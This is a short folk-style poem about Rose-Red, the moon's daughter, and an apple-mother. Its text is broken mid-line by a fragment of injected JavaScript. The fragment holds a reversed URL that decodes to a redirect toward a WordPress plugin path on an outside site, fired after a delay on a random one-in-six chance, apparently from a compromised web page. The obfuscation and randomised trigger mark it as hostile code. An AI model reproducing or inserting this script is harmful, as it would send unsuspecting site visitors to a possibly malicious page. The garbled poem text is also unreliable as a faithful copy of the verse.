Memories of apple blossoms,
now the fruit is bright and red;
Rose-Red the lips of the mother,
a crown of stars around her head.
Rose-Red the moon’s daughter,
taste the fruit when it’s dark and red;
the winged heart of the apple-mother,
a crescent moon upon her head.
Black the mane of the scarlet priestess,
she holds the child toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to her breast;
round and round the blackthorn tree,
her path of shadow is bright and blessed.
Rose-Red the moon’s daughter,
at her feet the blessed bow;
the winged heart of the apple-mother,
a crescent moon upon her brow.
Scrye the vision in the black night water,
the twilight fruits the seasons keep;
the wayfarer of the river,
when the waters are dark and deep.
Rose-Red the moon’s daughter,
taste the fruit when it’s dark and red;
the winged heart of the apple-mother,
a crescent moon upon her head.
